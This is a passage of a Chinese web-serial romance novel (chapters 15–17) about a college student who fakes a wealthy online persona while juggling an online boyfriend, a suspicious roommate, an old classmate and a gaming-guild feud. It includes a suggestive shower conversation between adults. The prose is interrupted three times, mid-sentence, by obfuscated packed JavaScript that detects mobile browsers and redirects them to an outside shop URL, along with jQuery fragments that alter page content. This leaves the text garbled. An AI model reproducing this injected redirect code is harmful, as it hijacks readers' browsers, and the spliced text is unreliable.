有余晖给舒星租了一年的房子,舒星开学也不打算在寝室住了,回寝室整理了下东西后拜托何文楠和程新宇平时多照顾照顾他的床垫。 何文楠和程新宇得知舒星要搬出去住,嚎叫着以后四人寝室三缺一,两个人轮番轰炸舒星说他是寝室叛徒。 轰炸完了又觉得好可惜,程新宇眼巴巴地问:“星妹,少了你,以后谁给我带小蛋糕啊!” “哦,说起这个。”舒星水灵的眼睛转了下,说:“这学期听说有很多小组作业,所以宠物医院的兼职我也停了,这样一来我就算还是住校也不能给你带了。” “啊——”可惜完了之后程新宇只好接受现实:“那以后能带我们去你那儿玩吗?” “这个……”舒星本来是想拒绝的,但想到何文楠和程新宇两个外地的人应该不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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学校里是不禁流浪猫狗的,所以每次都能看到校园各处的草坪上躺着花色不同的猫猫狗狗。 学生群体里有专门投喂猫狗的爱心组织,舒星就是其中的一员,之前舒星在宠物医院兼职的时候经常会带些猫粮狗粮回来投喂这些流浪猫狗,所以这些“学长学姐”都很亲他。 似乎一个暑假过去又有新来的母猫在学校里生了宝宝,好几只小奶猫钻在草坪间互相打闹。 舒星蹲在草坪边,伸出手轻轻喊了声“咪咪”,有小猫听到叫唤蹦跶着跑过来。 入秋的天依旧很热,阳光直射下来照得舒星的脸上泛起了层热晕,他随手抱起身边的猫,小小的一只被他抓在膝盖上摸了摸。 舒星习惯性地掰开小猫咪的耳朵看了眼,没有耳螨,身上也没有猫癣,看来大猫把它们养得都很好。 安心地把小猫咪往草坪上一放,黄白相间的小猫很快跑回了猫群里。 “咦?这不是……舒星?!” 不远处有人在叫自己的名字,舒星站起来,循着声音投去目光。 十几米开外的路对面,舒星看到个子高挑的习阳双手插兜矗立着,他的旁边,正站着那个喊舒星名字男生。 男生跟习阳差不多高,热情的手举在空中朝舒星挥了挥:“舒星!好巧啊!” 男生的脸和记忆中的人逐渐重叠,舒星在意识到对方是谁后,那双眼瞳陡然一颤,亮茶色的眼眸像盏逐渐冷透沉淀的茶水,看不出一丝和旧友久别重逢的喜悦。 真是糟糕啊。 高中同学,居然是习阳的朋友。 15.第 15 章 第15章 看着对面朝自己热情招手的男生,舒星一点也高兴不起来。 他不想高中的同学还会牵扯到自己的大学生活中来,哪怕对方在高中时期从未对舒星做出过任何伤害性的事情。 舒星已经尽力在社交平台打造出自己最高端的生活了,那种虚假的人设只浮现于网络就够了,他不希望这时候来个人贴脸问自己最近过得怎么样,也不希望对方询问自己哪来那么多钱买奢侈品,更不希望自己经营的网络有钱人身份在习阳这个真正的富二代面前被曝光。 惊慌和羞耻感像地狱里攀附出来的无数双手,正一点点把舒星的情绪往下拽,微微发抖的手不自觉地捏住衣角,双腿像灌了铅般挪不动,逃不了。 等路对面的两个人走近了,舒星滑动了下不怎么明显的喉结,眨眨眼露了个干涩勉强的笑容:“宋,宋天一,你怎么在这里?” 宋天一没有察觉舒星的紧张不安,他指了指身后的习阳说:“今天不是大家都开学嘛,来找我发小玩一玩儿!” 说完,他爽朗地介绍道:“习阳,我发小。习阳,这是舒星,我高中的前桌。你们认识认识?” 一旁站着的习阳目光盯着舒星,有点酷拽的意味说:“认识,都是室友。” “真的假的!”宋天一挑眉“wow”了声,直呼好一个缘分。 舒星尴尬地笑笑,心里祈祷着宋天一千万不要当着习阳的面问自己为什么总在社交平台发炫富动态。 “舒星,好久没见你了,都两年了吧?”宋天一哥俩好似的来勾舒星的脖子,舒星避闪不及,被人狠狠搂在了臂弯里。 宋天一高大的个子半压下来,舒星小小的身板勉强承受住,他此刻心里苦得像个蔫黄瓜,表面上却要假装出一副看到旧友高兴喜悦的样子。 “啊,是,快两年了,好久不见。” 宋天一随意道:“听说你们学校的咖啡很好喝,我们正准备去呢,你也一起吧?” 舒星赶紧挥手拒绝:“不了,我还有别的事,你们去吧。” 宋天一抓了抓他挥动的手:“哎呀,你怎么还是这么客气,走吧走吧,反正习阳请客,不要你花钱!” 习阳看着走在面前的两个人互动亲密,眯了眯眼,没说话,慢悠悠地跟在了两人身后。 舒星被宋天一热情地按在了咖啡厅的沙发上,宋天一往对面一坐,手机自然地扫向了桌面上的点餐二维码。 习阳比他们晚一点到店,宋天一瞥他一眼道:“干嘛去了?你走这么慢?” “去吃了个药。” 宋天一知道习阳应该是又过敏了,吐槽句:“病秧子。” 舒星坐在他们对面,餐桌并不算大,甚至几个人的腿都会在无意中相互碰到,所以舒星紧紧收拢腿,有些拘谨地靠着沙发。 这还是他第一次在习阳面前表现得这么安静拘束,像只刚被捡来后对周遭事物都谨慎防备的小猫咪,紧紧地缩在笼子一角般。 宋天一早就迫不及待想尝试这家店的咖啡和甜品了,他光顾着点单,只说了句让舒星也扫码,还叫他不用客气。 习阳扫了二维码,抬眸看了眼舒星,随后把手机转了个面,推到舒星面前,“自己选吧,我不知道你喝什么。” 舒星当下什么都不想吃,什么也不想喝,只想赶紧逃离面前这个熟悉的故人。 看着面前被推过来的手机,舒星只好大致看了下菜单,随便点了个推荐榜上的巧克力拿铁就把手机物归原主了。 习阳看了看选购栏,给自己选完咖啡后又加购了两个巧克力蛋糕,联合宋天一那边的一起付款后,他把手机调成静音反扣在了桌面上。 在等待咖啡上来的那段时间里,就光听宋天一一个人在那滔滔不绝了,聊天内容还总是无意地往舒星身上移,紧张得舒星简直坐立难安。 为了防止宋天一聊太多关于自己的事,舒星赶紧假装有事要忙,火速拿出手机来给自己的网恋对象发信息,装出一副正在沟通紧急要事的表情。 舒星:【宝宝!宝宝!】 舒星:【宝宝宝宝宝宝宝宝!!!!】 舒星:【宝宝!!!!!!!】 舒星:【猫猫哭泣.jpg】 舒星:【猫猫大叫.jpg】 舒星:【猫猫打滚.jpg】 舒星:【余晖!你在干嘛!!!!!】 舒星:【余晖!!!!余晖!!!余晖!!!!!】 舒星:【给你一分钟时间速回!!!不然我就再也不是你的好宝宝了!!!!】 舒星看到对面的习阳估计也听烦了宋天一接连不断的聊天内容,拿起手机玩了起来。 太好了,这样就不会显得自己一个人玩手机很没礼貌了! 聊天界面,余晖很快回复了信息。 余晖:【到!】 余晖:【大狗坐定.jpg】 余晖:【怎么啦?什么事这么着急呀?】 余晖:【宝宝宝宝,亲亲,我在呢。】 看着信息一连串,舒星总算找到了个依靠。 舒星面对手机时眉头紧锁,装出了一副似乎遇到大难题了的模样,看得宋天一也不好意思再继续说话了。 实际上舒星正敲击着虚拟键盘,给余晖的聊天框里编辑着重复的“想你了”。 几百句“想你了”打完,舒星紧张地瞅了眼对面的宋天一,那人已经停下话题开始玩手机了。 挺好的,这样一来舒星也就不用装得自己很忙的样子了。 反正聊天界面的信息也编辑好了,舒星随手点了个发送键,就当是真的突然特别想念余晖了,总不能急切地叫人家回信息又给人发句“没事了”吧。 店员适时地送来咖啡和甜品,宋天一的手越过习阳和舒星面前去接自己那份,他的余光不经意就看到了身边的习阳突然笑了笑。 宋天一挑眉问道:“嫂子又给你发信息了?” 习阳回完信息收起笑,关了屏幕“嗯”了声。 宋天一道:“瞧给你都钓成啥样了,他发了什么?” 习阳语气轻松地说:“没什么,就是说想我了。” 坐在他俩对面的舒星被“想我了”这三个字一雷,顿感习阳和他对象的聊天真是肉麻。 宋天一和习阳聊完了才想起来这里还坐了个舒星,宋天一那张嘴又开始滔滔不绝起来。 “舒星,我跟你说啊,习阳有个网恋对象,在一起好久了,你想知道他们是怎么认识的吗……” 舒星正准备听八卦呢,被习阳冷声打断了。 “吃。”习阳把一份草莓慕斯推到宋天一面前,“闭上嘴,少说话。” “哦。”宋天一讪讪地闭了嘴。 除了宋天一的那份草莓慕斯,桌上还有两份巧克力蛋糕,习阳拿了一份,剩下一份像是点多了的。 习阳抬眸看着舒星:“光喝咖啡容易腻,我给你也点了份。” 舒星一愣,接过蛋糕:“谢谢。” 这习阳还挺会在他发小面前装样儿,以前哪见得他会这么好心。 宋天一聊不了习阳的事,只能找舒星聊聊天。 “哎,对了,舒星啊,怎么最近你都不发朋友圈了?不会是把我屏蔽了吧?” 舒星眉心一紧,他确实在高中毕业后就很少发朋友圈了,不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271150|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大号小号都是一样的三天可见,但他们高中时期风靡的社交平台他是一直在持续更新着炫富动态。 宋天一能这么问,想必一定是没看到过舒星的社交平台。 静下心细想,舒星好像确实没有跟宋天一在社交平台互关过,人家不知道很正常。 那这样一来,舒星打造的人设就不怕会被聊爆了。 舒星紧张多时的心终于放下了,他松了口气,笑着解释:“没有,我没有发朋友圈的习惯。” 宋天一可惜地应了句:“好吧。”接着又说:“不过也没事儿,我才知道你也在这儿读书,正好我学校就在隔壁,以后能经常来找你玩儿了!” 舒星客套地点点头:“都行,你方便就行。” 习阳坐在对面安静听着,他单手支着下巴,有意无意地拨弄着手里的勺子。 他听着舒星和宋天一的聊天内容,敏锐的黑眸辗转在两人之间,最后落在了舒星身上。 不喜欢发朋友圈,还这么爱拍照片吗? “哦!还有还有!”宋天一像是想到什么,探出身跟舒星说:“咱们高中那个班主任老冯不是马上要过五十岁生日了嘛,班上同学说给他庆个生,正好大家聚一聚,到时候咱要不要一块儿去?” 这件事舒星在以前的班级群里看到他们讨论过,只是舒星并不想跟那些人再有线下交集,而且……他也没什么东西可以当面向那些有钱的老同学炫耀,去了也是自讨没趣。 舒星弯了弯唇角,露了个无奈又漂亮的笑容:“新学期还要忙着分小组等作业呢,我还是不去了吧。” 宋天一知道舒星在高中里没什么相处得来的朋友,这次给班主任过生日本来也是大家自发举行,他见舒星不乐意去,也就不强迫了:“好吧,好吧,那只能我自己去了。” 喝完咖啡,舒星借口自己有事要忙,赶紧走了。 目送舒星离开,听了快一下午发小和舒星的聊天内容,习阳结合舒星偶尔回话时那些不自然的表情,大概猜到了舒星的高中生活并不怎么让他留恋。 至于原因,习阳还没有得出结论。 习阳不是个喜欢探究别人隐私的人,但是他今天还是第一次见到舒星局促不安的模样,不禁有些好奇舒星高中到底发生过什么事。 “天一。” “咋了?” 习阳收回盯着舒星背影的视线,漫不经心地开口:“舒星高中过得不开心?” 宋天一张着下巴下意识道:“你怎么知道?” 习阳半挑眉,示意他说点什么。 宋天一虽然话多,但也不是爱在背后揭人家伤疤的人,只是简单概括了一下:“舒星刚上高中家里就破产了,他爸还欠了不少债。我高中那学校你也知道,都是有钱人,爱搞隐形阶级,至于别的你懂的……” 舒星也有个欠债的父亲。 习阳联想到网恋对象的身世,不禁对舒星有了丝同情。 “欸,习阳。”宋天一胳膊肘戳了戳习阳的腰,突然说:“你有没有觉得舒星的名字跟嫂子的游戏id还挺像的。” 习阳:“什么?” 宋天一道:“舒星舒星舒星,行书行书行书,舒星的名字倒过来念不就是行书?这也太有缘儿了!” 纵使逐渐对舒星这人有所改观,习阳依旧不能接受舒星和自己的宝宝因为这种可笑的谐音梗而绑定在一起。 习阳闻言微微闭眸,太阳穴附近的青筋跳了下。 宋天一显然没意识到身边潜伏的危险:“别到时候你和嫂子奔现后发现对方就是舒星,哈哈哈哈哈哈!” 习阳狠狠剜了眼宋天一,冷声骂道:“滚,把嘴闭上。” 16.第 16 章 第16章 新学期的专业课分了组,和舒星猜测的一样,按照寝室配置来定组,舒星作为寝室里上期末成绩最好的那个,理所应当地担任了小组长的职位。 舒星他们这个专业只有两个班级,原本定的是两个班分开授课,后来开学没几天校方觉得这样浪费师生时间,直接把两个班的课程合并在了一起,就连分组也互相融合了一下。 这样一来,一个组里就有了两个组长,小组作业的指挥权最终落在谁头上就成了个大问题。 在大学生活里,小组组长往往会承担很多责任,要做的资料也更多,要是匹配到糟心的组员甚至还要时不时替人家“擦屁股”。 舒星巴不得这个烫手山芋能扔出去给对方组的组长继承,然而别人心里也是这么想的,最后两个人让来让去还是保留了双组长的现状。 “同学,同学。” 专业课下课后,舒星被一个戴眼镜的男生急迫地叫住了。 是融合进来的另一个组长。 “怎么了?”舒星不清楚对方叫住自己要做什么,有点懵懵地动了下眼眸。 对方微微垂头,有点不好意思地说:“那个……是这样的,老师课上不是说让我们两边的组员建立一个沟通桥梁嘛,我想着要不要咱们两个组长先互相加个微信,这样一来后面建群分任务的话也方便一些。” “哦,这样啊。”舒星还以为是什么事儿呢,他笑了笑,眼睛亮晶晶的,大方地说:“当然可以啊。” 对方原本就泛红的耳根在看到舒星的笑容后变得更红了,他低着头拿出手机,紧张又局促地打开扫码界面:“我,我扫你。” “好。” 身后程新宇在催舒星搞快点,舒星点开微信二维码界面,回头应了声“马上来”,随着系统扫码完成的提示音,舒星视线回到手机屏幕上,在看清自己给出去的是小号的微信二维码时瞬间瞳孔收缩,心脏猛地一颤。 我靠……他刚才回完余晖消息,忘记切号了。 戴眼镜的男生敏锐地察觉出舒星脸上不自然的表情,低声问道:“怎,怎么了?是有什么不合适的……地方吗?” 舒星欲哭无泪,他在男生紧迫注视的目光下,只能通过选择“仅聊天”选项来补救加错微信的失误。 “通过了。” “谢,谢谢。那我先走了,同学再见。” 等人走远了,舒星才逐渐回过神,其实自己的微信小号里也没发什么很奇怪的朋友圈,顶多是平时聊天沟通起来可能会麻烦点。 算了,加错了就加错了吧,等以后有机会再找个理由把对方加到自己的大号上就行了。 晚上舒星没什么事,抽空去之前兼职的宠物医院逗弄了会儿猫猫狗狗,裴淳比较忙,没和舒星聊几句就接到个手术上楼工作了。 舒星没和余晖说过自己已经辞职的事儿,他依旧维持着自己打工人的人设,到了平时下班的点就给余晖发条信息说自己“刚到家”。 现在舒星住在校外,和余晖连麦语音就方便了很多,不过余晖这段时间很少会再缠着舒星打语音电话,舒星并不是个特别黏人的恋人,他猜测余晖应该是住校生,能理解对方寝室里可能太吵了不方便接语音,所以也没有过多要求余晖和自己连麦聊天。 这天周末,舒星傍晚的时候去附近的购物超市买了不少食材,打算在家里煮顿大餐。 舒星其实并不会做饭菜,都是近几个月照着网上的菜谱刚学会的。一开始手生,舒星经常会切到手,不过还好每次都是险险地切到了自己的指甲盖,偶尔削瓜皮的时候弄破了手,舒星才会趁伤口没愈合前拍个渗出血丝的照片发给余晖装可怜。 余晖看到舒星受伤的照片后当然是好一阵心疼,好言好语哄完人后就会发些大额转账来叫舒星点些外卖吃。 余晖也提议过要帮舒星找个家政阿姨来定时做饭,不过舒星感觉那样没什么必要,就拒绝了。 时间一久,舒星还挺喜欢这种自己做饭的感觉,为此他网购了不少精美昂贵的餐具。在空闲的时候买点食材做顿大餐,顺便学着网上的摆盘方式拍点漂亮照片发到社交平台,打造出一副“我不光有钱我还会偶尔享受单人生活”的精致生活。 余晖的语音电话打来的时候舒星刚收拾完餐后厨余。 电话接通后,余晖低沉温柔的声音瞬间从扬声器里传了出来。 “宝宝,想你了。” 大概是两个人很久没打过语音电话了,余晖的声音尾调混杂着一丝暧昧的黏腻。 和余晖相处得久了,舒星也就知道余晖带有这种声音的时候是什么意思了——太久没有释放欲望,情欲缠身了。 算起来舒星和余晖的确好久没有搞过文爱了,今年的这个暑假他俩也十分纯爱地没有磕过炮,余晖一个血气方刚的男大学生能忍这么久也是极限了。 身旁的洗碗机发出了一声轻咛,舒星弯下身整理餐盘,他一边把餐具摆放回橱柜里,一边漫不经心地说:“有多想我呀?” “非常非常想……迫不及待想见到你了。” 舒星收拾东西的手一顿,似乎马上就快到他们的两周年纪念日了,这也就意味着舒星得再找个像样的理由来拖延一下两个人奔现见面的时间了。 舒星唇角压了点,有些疲于应付:“我也很想见你,宝宝。” 舒星不想继续这个话题,他整理好厨房后扯开话题:“今天要上号吗?我可以陪你打副本或者是竞技场。” 余晖很顺从地接下了舒星的话题:“好啊,我室友想让我带他们上分,你愿意和他们一起玩吗?” 往常舒星和余晖打游戏的时候,余晖都会带上几个公会里的朋友一起,舒星习惯了一群人围在一起下副本,他也早就过了处心积虑泡余晖的日子,所以对此没什么意见:“行,那你等等我,我去开电脑。” “好。” 开机上号,舒星是余晖的游戏情缘,上线后的出生点就会设在余晖的身边。 很快舒星就看到了围绕在余晖身边的一对情缘CP。 一个叫“扣1送地狱冰”,另一个叫“11真送吗哥”。 两个很陌生的情侣id,但玩的全是游戏烂梗。 这对情缘见到自己上线,突然跟围观动物园里的猴似的绕着自己的角色开始转圈圈。 游戏里不能语音连麦,但舒星总能脑补出这对CP的热情嚎叫。 舒星开口问余晖:“宝宝,这两个是你室友吗?” 余晖“嗯”了一声,好像怕室友们会吓到自己的宝宝,他又补充道:“他们平时比较抽象,看到你有点激动。” 舒星凭空点了点头,他察觉余晖那比较安静,不像是寝室里热闹的氛围,便问:“你们没在一起吗?” 余晖道:“我今天有事出校了,就没回寝室住。” “哦,怪不得那么安静。”舒星又说:“那你的室友不用跟我们语音沟通吗?” 余晖说:“没事,他们两个在其他语音软件里聊得挺开心的。而且我想宝宝只跟我一个人说话。” “……好吧。”舒星又一次被余晖的占有欲直观地包裹了。 余晖的号不仅是收藏值榜第一,论战力他也是断层式的榜一,所以和他的大号组队匹配到的基本上都是公会里排名靠前的熟人。 每次匹配到熟人,对方看到“余晖”和“行书”的id合并组队就知道是这对小情侣在甜蜜上分。很多人察觉这种情况后就会在局内全部聊天频道发点求饶的好话,要么是叫余晖送点分给人家,要么就是直接原地挂机当怯战蜥蜴了。 这样的局数一多,舒星玩得有点烦,余晖和他的室友也不是很爽快。 最终余晖决定换号,他在网上随机租了个低等级的账号,又风风火火地上线了。 换了账号之后匹配到的人就正常多了,不过有舒星的号在组队中,依旧时不时会匹配到个别熟人。 但是这个游戏里的人忌惮的只是余晖的账号战力,很多人清楚舒星的账号注水严重,只要余晖不在线,就算匹配到的是公会好友对方也不会把他当回事儿,该打的对局照打不误。 不过舒星玩的是奶妈的位置,在竞技场里大家都是君子协议对位PK,不会太针对没有攻击性的奶妈角色。 这局舒星他们很不巧地匹配到了霓心的队伍,舒星特意留意了下霓心队伍里的那些id,都是他不认识的人,似乎都是其他公会的成员。 “怎么匹配到霓心了?”舒星有些晦气地吐槽了一句。 余晖经过上次的“宝宝事件”,对霓心也有些膈应,“可能他这队正好在我们的分差区间里。” 全部聊天频道此时发来了一条信息。 霓心:【行书?是本人上号还是余晖代玩?】 好明显的一句试探问话。 这时候舒星要是回句“余晖代玩”,霓心估计要赶巴巴地来送分了。 舒星看了几眼,假装自己忙着选角色,懒得回了。 游戏那头,霓心看频道界面没有人回信息,猜到了是“行书”本人上号,他清楚行书会玩奶妈,所以在开局之后就指导着队友优先集火对方奶妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282898|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 霓心早就想爽揍行书了,妈的,死白莲一天天装得要死,自己被迫当奶妈舔了余晖半年多都没把人拿下,这绿茶男也不知道使得什么方法,两个月不到就跟余晖组上了情缘CP,更气的是都快两年了这两个人居然还没断关系! 前段时间他还听公会的天意说,余晖居然要和行书奔现了,想想就叫人火大。 平时在外面动不了行书,这下在竞技场欺负他总没话说了吧。 反正现在余晖也不在线,一时半会儿也没法找自己兴师问罪。 真要问起来,自己还能理直气壮地说这是公平竞技、正常打法! 霓心一看行书还带了三个拖油瓶,笑得他鼠标都快握不住了,一带三,自己还玩个奶妈,这不纯讨揍嘛。 一场极其有针对性的对局自然是不好打的,纵使两方的战力相差不大,但余晖的两个室友跟不上战斗的节奏,所以这场对局毫无意外地输了。 舒星一整局都在被克制针对,只当是技不如人,在游戏结束后无奈地叹了口气。 退出结算界面,舒星无意瞥见了公屏上霓心突然发了几句话。 霓心:【哎呀,行书,我都没注意你玩的是奶妈,不好意思啊,把你集火啦!】 霓心:【我看那个奶妈玩得挺菜的,就想着先挑软柿子捏了,没想到是你呜呜呜。】 霓心:【行书~你应该不会因为这种小事生气吧~】 霓心:【不过游戏机制允许大家这么玩,你不会怪我的哦~】 舒星忍不住歪了歪头,看这傻逼又在搞哪一出。 舒星又没退公会,霓心明明可以直接在公会频道发信息,偏偏选在公屏界面,是想所有在线的人都知道他刚才挨了霓心一顿毒打还“玩得挺菜”吗? 真是日了狗了。 偏偏霓心这一套话说得舒星没法硬刚,反驳他吧倒显得自己是因为被毒打而红温暴走,打字骂他吧又怕把这人给骂爽了。 进退两难之际,舒星最终选择了直接无视,他默默地说:“宝宝,你开吧,下局我不玩奶妈了,换个别的玩。” 倒不是因为刚才那局玩得不爽,是舒星玩了一晚上奶妈,有点腻了。 “怎么了?”语音那头,余晖问完好似看到了什么,他突然道:“宝宝,你等我一下。” “嗯?行。” 舒星以为余晖这是要去上厕所,没想到自己刚回完话,就看到余晖租的那个号秒退组队,紧接着就是他的大号上线了。 很快,公会频道里余晖退出公会的系统公告跳了出来,引起频道内一阵波动。 舒星还没反应过来余晖这波操作是要干嘛,就看到游戏系统接连弹出好几条消息。 “各位玩家请注意,玩家余晖已开启屠杀模式。” “玩家余晖屠杀模式时效剩余23:59:59。” “玩家余晖在杏林村屠杀玩家霓心。” 在这个游戏里,玩家之间是可以随时开启杀戮的模式,但是一旦开启这个模式,就可以屠杀除了自己公会以外的任何人。代价就是会被系统全域通报,可能面临被全服玩家追杀的情况,而且这个模式必须在24小时之后才能调至成安全属性。 然而余晖只是顶着这个系统公告,轻飘飘地在公屏上发了句:【我以为是路边的野怪,顺手打了。】 余晖还特意补充道:【不过游戏机制允许大家这么玩,应该不需要给你什么补偿吧?】 霓心刚才在竞技场里掉落的装备物资还没来得及放进仓库,被屠杀完东西掉了一地,瞬间被那些吃瓜看戏的玩家抢空了。 余晖这一波操作,很明显是在给舒星出气,配合上系统发的两条公告,霓心的脸都快被打地上了。 霓心哪知道刚才的对局里余晖也在场,余晖那24小时屠杀期没过,纵使知道余晖这么做是故意的他也不敢有什么怨言,只能默默地在公屏上回一句:【没事,不用补偿。】 语音里,余晖轻轻地叫了声“宝宝”,他的声音像在哄人般道:“有爽一点吗?” 围观全程的舒星张了张小嘴,唇角慢慢勾起,笑道:“嗯,爽很多。” 余晖道:“那你不在公屏上给你老公表示点什么?” “要表示什么?” “看你啊宝宝,你想发什么都可以。” 舒星想了想,说:“行吧,那我回一下。” 舒星在键盘上敲了几个字。 行书:【不好意思,家夫鲁莽,请大家见谅。】 行书:【[玫瑰][玫瑰][玫瑰]】 17.第 17 章 第17章 舒星发出去的信息像个尾声般结束了这场来自第一公会内部成员们的闹剧。 游戏里看热闹的人很多,不用想也知道今晚的事会被路人玩家挂到游戏论坛讨论很久。 公会的聊天界面其实早在余晖退出公会的那会儿就已经炸锅了,但随着霓心被余晖屠杀,原本只有四十多个人的公会成员硬是被聊出了四千人的架势。 公会成员们都在讨论霓心干了什么事惹得余晖突然退会开屠杀,霓心也不敢有什么抱怨,只回了句“都是误会”就让大家赶紧散了。 舒星一直知道余晖不是个会看公屏聊天的人,就问道:“宝宝,你不是不看公屏信息的吗?今天怎么……” 余晖直白地解释:“我室友给我发私信说公屏上有绿茶,让我赶紧看看。” 舒星:“哦……” 这室友人还挺好的嘛,舒星顿时对这对情缘CP的好感度大增。 闹剧过后,余晖又换回了刚才租来的小号,在重新进行了几场对局后,舒星他们再一次匹配到了霓心的队伍。 看着对面的人物昵称,舒星直接选了个自己最擅长的毒师角色,余晖也很配合地选了个输出力很高的剑客角色。 两个人进游戏就直接给对面四个人来了波混合双打,特别是跟舒星对位角色的霓心,两个人同样都是玩毒师的角色,霓心被舒星揍得连死好几次。 为了狠狠解气,舒星特意蹲守在霓心的复活点,等人CD一到就继续开杀,连给他反抗的机会都没有。 最后估计是霓心实在受不了,在又一次被舒星打死后的CD阶段火速点了投降弃战。 这场赢得毫无压力,舒星难得心情这么舒畅。 外面不了解舒星的人都以为他只会玩奶妈,所以总说他数据注水、是余晖找人代打上的分,实际上舒星在没认识余晖前毒师玩得非常好,坑队友的次数不是很多,相反的,还会有人特意找舒星代练毒师这个角色的英雄分。 “宝宝,你毒师玩得很好,以后可以不用总玩奶妈。” 余晖在游戏结算后突然来了这么一句话,砸得舒星有点懵。 舒星有点刁钻地迅速反问他:“什么意思呀!余晖,你也觉得我玩奶妈很菜吗?” “啊,没有没有。”余晖好像感受到了死亡发问,赶紧澄清:“我是觉得,宝宝你可以玩你擅长的、喜欢的角色,不用总是为了迎合我而选奶妈。你玩什么我都会喜欢的。” 舒星:“……” 这人到底是什么时候察觉自己玩奶妈是为了迎合他的? 舒星一直以为余晖是个木讷的男生,没想到他早就发现了舒星的刻意配合。 舒星撅了噘嘴,说:“行吧。” 这局打完后时间已经快凌晨两点了,舒星明早还有课,只好草草地下机去洗澡。 临下机前,舒星发现余晖的两个室友又结伴开了竞技场,这俩大学生真是激情四射,明早难道都不用上课的吗? 舒星洗澡的时候语音并没有断,淋浴喷头洒下的水断断续续地从收音器里传入对面那人耳中。 “宝宝,你喜欢在洗澡的时候做吗?” 耳边的水声有点吵,舒星一瞬间以为自己幻听了,抹掉脸上蒙着眼睛的水珠,把浴室玻璃门打开了一小半,探出头去语气又懵又天真地问:“你说什么?” 语音那头的余晖像是在重复一件很寻常的事:“宝宝,我刚才问你,你喜不喜欢在洗澡的时候做?” 舒星:“…………” 其实大家都是成年人了,偶尔聊点黄的擦边的也没什么,只是突然来上这么一句,舒星这个纯情大处男还是有点没招架住的。 余晖重复完,很有耐心地等待着舒星的回复。 舒星察觉到语音那头陷入安静,他倒也真沉思细想起来。 头顶的水持续不断地冲洗着舒星的身体,他的皮肤本来就很白,再加上热水一直浇淋,身后的肌肤很快泛起了绯红。 “在洗澡的时候做吗……”舒星的面朝着淋浴器,他伸出手轻轻抚上微凉的瓷砖,赤裸的腰身稍微往下沉了点,他慢慢闭上眼感受了一下这种样子的姿势。 他的头微侧,另一只空闲的手忍不住地往身后翘起的臀-瓣上伸过去。 仅仅只是触碰了一下,那种柔软酥麻的感觉激得舒星赶紧收回了手。 “唔——”舒星细想过后给了个认真的答复:“要是从前面进的话我的后背就会贴上墙,那样好冷哦。但换做是从后面进的话,这种姿势感觉应该会很爽吧……” “好。” “嗯嗯嗯?” 舒星察觉到一丝异样。 这家伙到底在好什么啊!!! 余晖道:“就是我知道了的意思。” 舒星:??? 这家伙又知道了点什么啊!!! 余晖不会真的在为纪念日奔现做准备吧? 不要啊,舒星可没有做好被撅的心理建设。 更何况,他过几天还要找理由推脱奔现的时间呢! 眼瞅着距离两个人的纪念日时间越来越近,舒星还没想好合适的拖延理由,愁得他晚上直到后半夜才睡着,直接导致第二天毫无疑问地起晚了。 舒星发现自己睡过头后几乎是从床上弹射起步的,余晖比他起得早,两个人的语音在八点多的时候就已经被他挂断了。 从市中心坐地铁到学校太麻烦也太慢了,舒星赶紧斥巨资打了辆专车,紧赶慢赶地去了学校。 今天上午是专业课,不过老师已经布置了短期的小组作业,所以自由度挺高的,只需要组员都到齐之后互相交流分配任务就行了。 幸好,这次迟到的不只有舒星,还有俩熬了个大通宵顶着两对黑眼圈来上课的程新宇和何文楠。 舒星看程新宇和何文楠满脸被榨干的样子,小声地问:“你俩昨天干嘛了?住校还能迟到?” 何文楠也压着声说:“程新宇那狗比非要拉着我打游戏上分,结果我俩b分没上还倒掉几十分。” 舒星点点头,叹了口气:“我也是,游戏害人。” 融合组的组长就是上次加舒星微信的那个男生,叫阮义,在舒星来之前他就帮舒星分好了每个人要负责的区块内容,这会儿正规划着这周的预估进度。 舒星作为另一个组长却姗姗来迟,他总归脸皮薄,有点不好意思这种迟到的行为,他看阮义把自己那份的工作也揽了过去,感激地朝人家露了个笑容。 阮义原本还在侃侃而谈接下去的计划,他抬眸时看到舒星突然朝自己勾唇眨了下眼,耳根瞬间被火烧灼般红起来,慌得他立马低下了头。 习阳就坐在舒星正对面,他的视线循着舒星的笑容往远处的阮义看过去,在察觉阮义因为舒星展露的笑容而害羞低头、讲话结巴后,他心里莫名有种突兀的不爽掠过。 这种情绪产生的时候习阳都被吓了一跳,他不知道自己在不爽阮义害羞还是舒星露笑,那种异样产生得太莫名其妙了,好像冥冥之中习阳就该有这种反应似的。 不爽和郁闷的情绪像一个成团杂乱的结般突然间压在了习阳心头,习阳想不明白自己为什么会有这样的感受,只好把这归为舒星作为组长迟到却没有表示歉意的迁怒,他眼眸沉了点,视线冷冽地从舒星那张还在展露笑容的脸上扫过。 在看到对方脸颊上浅浅的酒窝时,习阳感觉自己似乎更不舒服了。 阮义结结巴巴地讲完接下去的计划,让大家都自我规划一下,算作简单的中场休息。 舒星正 